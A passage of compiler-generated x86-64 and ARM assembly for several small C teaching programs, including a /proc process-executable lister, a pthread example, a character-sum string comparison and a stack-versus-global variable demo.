add rax, rdx
mov BYTE PTR [rax], 101
lea rax, -4112[rbp]
mov edx, 4096
mov rsi, rax
lea rdi, s_proc[rip]
call readlink@PLT
mov QWORD PTR -4120[rbp], rax
cmp QWORD PTR -4120[rbp], -1
jne .L10
mov rax, QWORD PTR -4128[rbp]
add rax, 19
mov rdi, rax
call puts@PLT
jmp .L4
.L10:
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4120[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -4128[rbp]
lea rcx, 19[rax]
lea rax, -4112[rbp]
mov rdx, rax
mov rsi, rcx
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
jmp .L4
.L13:
nop
.L8:
.L4:
mov rax, QWORD PTR -4136[rbp]
mov rdi, rax
call readdir@PLT
mov QWORD PTR -4128[rbp], rax
cmp QWORD PTR -4128[rbp], 0
jne .L11
mov rax, QWORD PTR -4136[rbp]
mov rdi, rax
call closedir@PLT
mov eax, 0
.L3:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L12
call __stack_chk_fail@PLT
.L12:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "849020.c"
.text
.data
.align 2
.type s_proc, %object
.size s_proc, 17
s_proc:
.ascii "/proc/\000"
.space 10
.align 2
.type s_proc6, %object
.size s_proc6, 4
s_proc6:
.word s_proc+6
.section .rodata
.align 2
.LC0:
.ascii "%s -> %s\012\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #28
ldr r3, .L14
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
ldr r0, .L14+4
bl opendir
str r0, [r4, #-16]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
cmp r3, #0
bne .L4
mov r3, #1
b .L3
.L11:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-20]
b .L5
.L9:
sub r3, fp, #4096
sub r3, r3, #12
ldrb r3, [r3, #-21] @ zero_extendqisi2
cmp r3, #47
bls .L13
sub r3, fp, #4096
sub r3, r3, #12
ldrb r3, [r3, #-21] @ zero_extendqisi2
cmp r3, #57
bhi .L13
ldr r3, .L14+8
ldr r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
add r3, r2, r3
sub r2, fp, #4096
sub r2, r2, #12
ldrb r2, [r2, #-21]
strb r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
add r3, r3, #1
str r3, [r2, #-20]
.L5:
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r3, #-12]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
add r3, r2, r3
add r3, r3, #11
ldrb r3, [r3]
strb r3, [r1, #-21]
sub r3, fp, #4096
sub r3, r3, #12
ldrb r3, [r3, #-21] @ zero_extendqisi2
cmp r3, #0
bne .L9
ldr r3, .L14+8
ldr r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
add r3, r2, r3
mov r2, #47
strb r2, [r3]
ldr r3, .L14+8
ldr r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
add r3, r3, #1
add r3, r2, r3
mov r2, #101
strb r2, [r3]
ldr r3, .L14+8
ldr r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
add r3, r3, #2
add r3, r2, r3
mov r2, #120
strb r2, [r3]
ldr r3, .L14+8
ldr r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
add r3, r3, #3
add r3, r2, r3
mov r2, #101
strb r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r2, #4096
mov r1, r3
ldr r0, .L14+4
bl readlink
str r0, [r4, #-8]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
cmn r3, #1
bne .L10
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-12]
add r3, r3, #11
mov r0, r3
bl puts
b .L4
.L10:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
add r3, r2, r3
sub r3, r3, #4
mov r2, #0
strb r2, [r3]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-12]
add r1, r3, #11
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r2, r3
ldr r0, .L14+12
bl printf
b .L4
.L13:
nop
.L8:
.L4:
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r0, [r3, #-16]
bl readdir
str r0, [r4, #-12]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-12]
cmp r3, #0
bne .L11
sub r3, fp, #4096
sub r3, r3, #12
ldr r0, [r3, #-16]
bl closedir
mov r3, #0
.L3:
ldr r2, .L14
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L12
bl __stack_chk_fail
.L12:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L15:
.align 2
.L14:
.word .LC1
.word s_proc
.word s_proc6
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "650867.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Hi I am Thread 1"
.LC1:
.string "Hi I am Thread 2"
.LC2:
.string "Thread 1 returns: %d\n"
.LC3:
.string "Thread 2 returns: %d\n"
.LC4:
.string "end of main program"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, .LC0[rip]
mov QWORD PTR -24[rbp], rax
lea rax, .LC1[rip]
mov QWORD PTR -16[rbp], rax
mov rdx, QWORD PTR -24[rbp]
lea rax, -40[rbp]
mov rcx, rdx
lea rdx, print_message_function[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov DWORD PTR -48[rbp], eax
mov rdx, QWORD PTR -16[rbp]
lea rax, -32[rbp]
mov rcx, rdx
lea rdx, print_message_function[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov DWORD PTR -44[rbp], eax
mov eax, DWORD PTR -48[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -44[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC4[rip]
call puts@PLT
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.LC5:
.string "%s \n"
.text
.globl print_message_function
.type print_message_function, @function
print_message_function:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size print_message_function, .-print_message_function
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "650867.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Hi I am Thread 1\000"
.align 2
.LC1:
.ascii "Hi I am Thread 2\000"
.align 2
.LC2:
.ascii "Thread 1 returns: %d\012\000"
.align 2
.LC3:
.ascii "Thread 2 returns: %d\012\000"
.align 2
.LC4:
.ascii "end of main program\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L3
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L3+4
str r3, [fp, #-24]
ldr r3, .L3+8
str r3, [fp, #-20]
sub r0, fp, #32
ldr r3, [fp, #-24]
ldr r2, .L3+12
mov r1, #0
bl pthread_create
str r0, [fp, #-16]
sub r0, fp, #28
ldr r3, [fp, #-20]
ldr r2, .L3+12
mov r1, #0
bl pthread_create
str r0, [fp, #-12]
ldr r1, [fp, #-16]
ldr r0, .L3+16
bl printf
ldr r1, [fp, #-12]
ldr r0, .L3+20
bl printf
ldr r0, .L3+24
bl puts
mov r0, #0
bl exit
.L4:
.align 2
.L3:
.word .LC5
.word .LC0
.word .LC1
.word print_message_function
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.section .rodata
.align 2
.LC6:
.ascii "%s \012\000"
.text
.align 2
.global print_message_function
.syntax unified
.arm
.fpu softvfp
.type print_message_function, %function
print_message_function:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-8]
ldr r1, [fp, #-8]
ldr r0, .L6
bl printf
nop
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word .LC6
.size print_message_function, .-print_message_function
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "695734.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "695734.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "435020.c"
.intel_syntax noprefix
.text
.globl my_strcmp
.type my_strcmp, @function
my_strcmp:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -16[rbp], 0
mov DWORD PTR -12[rbp], 0
mov DWORD PTR -8[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -8[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
add DWORD PTR -16[rbp], eax
add DWORD PTR -8[rbp], 1
.L2:
mov eax, DWORD PTR -8[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L3
mov DWORD PTR -4[rbp], 0
jmp .L4
.L5:
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
add DWORD PTR -12[rbp], eax
add DWORD PTR -4[rbp], 1
.L4:
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L5
mov eax, DWORD PTR -16[rbp]
sub eax, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size my_strcmp, .-my_strcmp
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "435020.c"
.text
.align 2
.global my_strcmp
.syntax unified
.arm
.fpu softvfp
.type my_strcmp, %function
my_strcmp:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
mov r3, #0
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-12]
b .L2
.L3:
ldr r3, [fp, #-12]
ldr r2, [fp, #-24]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
str r3, [fp, #-20]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r3, [fp, #-12]
ldr r2, [fp, #-24]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L3
mov r3, #0
str r3, [fp, #-8]
b .L4
.L5:
ldr r3, [fp, #-8]
ldr r2, [fp, #-28]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-16]
add r3, r3, r2
str r3, [fp, #-16]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L4:
ldr r3, [fp, #-8]
ldr r2, [fp, #-28]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L5
ldr r2, [fp, #-20]
ldr r3, [fp, #-16]
sub r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size my_strcmp, .-my_strcmp
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "718688.c"
.intel_syntax noprefix
.text
.globl j
.data
.align 4
.type j, @object
.size j, 4
j:
.long 42
.section .rodata
.LC0:
.string "\t\t\t[in func3] i @ %p = %d\n"
.LC1:
.string "\t\t\t[in func3] j @ %p = %d\n"
.text
.globl func3
.type func3, @function
func3:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -16[rbp], 11
mov DWORD PTR -12[rbp], 999
mov edx, DWORD PTR -16[rbp]
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edx, DWORD PTR -12[rbp]
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L2
call __stack_chk_fail@PLT
.L2:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size func3, .-func3
.section .rodata
.LC2:
.string "\t\t[in func2] i @ %p = %d\n"
.LC3:
.string "\t\t[in func2] j @ %p = %d\n"
.LC4:
.string "\t\t[in func2] setting j = 1337"
.align 8
.LC5:
.string "\t\t[back in func2] i @ %p = %d\n"
.align 8
.LC6:
.string "\t\t[back in func2] j @ %p = %d\n"
.text
.globl func2
.type func2, @function
func2:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -12[rbp], 7
mov edx, DWORD PTR -12[rbp]
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR j[rip]
mov edx, eax
lea rsi, j[rip]
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC4[rip]
call puts@PLT
mov DWORD PTR j[rip], 1337
mov eax, 0
call func3
mov edx, DWORD PTR -12[rbp]
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR j[rip]
mov edx, eax
lea rsi, j[rip]
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L4
call __stack_chk_fail@PLT
.L4:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size func2, .-func2
.section .rodata
.LC7:
.string "\t[in func1] i @ %p = %d\n"
.LC8:
.string "\t[in func1] j @ %p = %d\n"
.LC9:
.string "\t[back in func1] i @ %p = %d\n"
.LC10:
.string "\t[back in func1] j @ %p = %d\n"
.text
.globl func1
.type func1, @function
func1:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -12[rbp], 5
mov edx, DWORD PTR -12[rbp]
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC7[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR j[rip]
mov edx, eax
lea rsi, j[rip]
lea rdi, .LC8[rip]
mov eax, 0
call printf@PLT
mov eax, 0
call func2
mov edx, DWORD PTR -12[rbp]
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC9[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR j[rip]
mov edx, eax
lea rsi, j[rip]
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L6
call __stack_chk_fail@PLT
.L6:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size func1, .-func1
.section .rodata
.LC11:
.string "[in main] i @ %p = %d\n"
.LC12:
.string "[in main] j @ %p = %d\n"
.LC13:
.string "[back in main] i @ %p = %d\n"
.LC14:
.string "[back in main] j @ %p = %d\n"
.text
.globl main
.type main, @function
main:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -12[rbp], 3
mov edx, DWORD PTR -12[rbp]
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC11[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR j[rip]
mov edx, eax
lea rsi, j[rip]
lea rdi, .LC12[rip]
mov eax, 0
call printf@PLT
mov eax, 0
call func1
mov edx, DWORD PTR -12[rbp]
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC13[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR j[rip]
mov edx, eax
lea rsi, j[rip]
lea rdi, .LC14[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L9
call __stack_chk_fail@PLT
.L9:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "718688.c"
.text
.global j
.data
.align 2
.type j, %object
.size j, 4
j:
.word 42
.section .rodata
.align 2
.LC0:
.ascii "\011\011\011[in func3] i @ %p = %d\012\000"
.align 2
.LC1:
.ascii "\011\011\011[in func3] j @ %p = %d\012\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global func3
.syntax unified
.arm
.fpu softvfp
.type func3, %function
func3:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L3
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #11
str r3, [fp, #-16]
ldr r3, .L3+4
str r3, [fp, #-12]
ldr r2, [fp, #-16]
sub r3, fp, #16
mov r1, r3
ldr r0, .L3+8
bl printf
ldr r2, [fp, #-12]
sub r3, fp, #12
mov r1, r3
ldr r0, .L3+12
bl printf
nop
ldr r3, .L3
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L2
bl __stack_chk_fail
.L2:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC2
.word 999
.word .LC0
.word .LC1
.size func3, .-func3
.section .rodata
.align 2
.LC3:
.ascii "\011\011[in func2] i @ %p = %d\012\000"
.align 2
.LC4:
.ascii "\011\011[in func2] j @ %p = %d\012\000"
.align 2
.LC5:
.ascii "\011\011[in func2] setting j = 1337\000"
.align 2
.LC6:
.ascii "\011\011[back in func2] i @ %p = %d\012\000"
.align 2
.LC7:
.ascii "\011\011[back in func2] j @ %p = %d\012\000"
.align 2
.LC8:
.word __stack_chk_guard
.text
.align 2
.global func2
.syntax unified
.arm
.fpu softvfp
.type func2, %function
func2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #7
str r3, [fp, #-12]
ldr r2, [fp, #-12]
sub r3, fp, #12
mov r1, r3
ldr r0, .L7+4
bl printf
ldr r3, .L7+8
ldr r3, [r3]
mov r2, r3
ldr r1, .L7+8
ldr r0, .L7+12
bl printf
ldr r0, .L7+16
bl puts
ldr r3, .L7+8
ldr r2, .L7+20
str r2, [r3]
bl func3
ldr r2, [fp, #-12]
sub r3, fp, #12
mov r1, r3
ldr r0, .L7+24
bl printf
ldr r3, .L7+8
ldr r3, [r3]
mov r2, r3
ldr r1, .L7+8
ldr r0, .L7+28
bl printf
nop
ldr r3, .L7
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L6
bl __stack_chk_fail
.L6:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC8
.word .LC3
.word j
.word .LC4
.word .LC5
.word 1337
.word .LC6
.word .LC7
.size func2, .-func2
.section .rodata
.align 2
.LC9:
.ascii "\011[in func1] i @ %p = %d\012\000"
.align 2
.LC10:
.ascii "\011[in func1] j @ %p = %d\012\000"
.align 2
.LC11:
.ascii "\011[back in func1] i @ %p = %d\012\000"
.align 2
.LC12:
.ascii "\011[back in func1] j @ %p = %d\012\000"
.align 2
.LC13:
.word __stack_chk_guard
.text
.align 2
.global func1
.syntax unified
.arm
.fpu softvfp
.type func1, %function
func1:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r3, .L11
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #5
str r3, [fp, #-12]
ldr r2, [fp, #-12]
sub r3, fp, #12
mov r1, r3
ldr r0, .L11+4
bl printf
ldr r3, .L11+8
ldr r3, [r3]
mov r2, r3
ldr r1, .L11+8
ldr r0, .L11+12
bl printf
bl func2
ldr r2, [fp, #-12]
sub r3, fp, #12
mov r1, r3
ldr r0, .L11+16
bl printf
ldr r3, .L11+8
ldr r3, [r3]
mov r2, r3
ldr r1, .L11+8
ldr r0, .L11+20
bl printf
nop
ldr r3, .L11
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L10
bl __stack_chk_fail
.L10:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L12:
.align 2
.L11:
.word .LC13
.word .LC9
.word j
.word .LC10
.word .LC11
.word .LC12
.size func1, .-func1
.section .rodata
.align 2
.LC14:
.ascii "[in main] i @ %p = %d\012\000"
.align 2
.LC15:
.ascii "[in main] j @ %p = %d\012\000"
.align 2
.LC16:
.ascii "[back in main] i @ %p = %d\012\000"
.align 2
.LC17:
.ascii "[back in main] j @ %p = %d\012\000"
.align 2
.LC18:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r3, .L16
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #3
str r3, [fp, #-12]
ldr r2, [fp, #-12]
sub r3, fp, #12
mov r1, r3
ldr r0, .L16+4
bl printf
ldr r3, .L16+8
ldr r3, [r3]
mov r2, r3
ldr r1, .L16+8
ldr r0, .L16+12
bl printf
bl func1
ldr r2, [fp, #-12]
sub r3, fp, #12
mov r1, r3
ldr r0, .L16+16
bl printf
ldr r3, .L16+8
ldr r3, [r3]
mov r2, r3
ldr r1, .L16+8
ldr r0, .L16+20
bl printf
mov r3, #0
ldr r2, .L16
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L15
bl __stack_chk_fail
.L15:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L17:
.align 2
.L16:
.word .LC18
.word .LC14
.word j
.word .LC15
.word .LC16
.word .LC17
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "719500.c"
.intel_syntax noprefix
.text
.globl f
.type f, @function
f:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
mov QWORD PTR -24[rbp], rdx
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
je .L3
mov rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR -4[rbp]
mov DWORD PTR [rax], edx
.L3:
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size f, .-f
.globl g
.type g, @function
g:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
mov rdx, QWORD PTR -16[rbp]
mov rcx, QWORD PTR -16[rbp]
mov eax, DWORD PTR -4[rbp]
mov rsi, rcx
mov edi, eax
call f
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size g, .-g
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
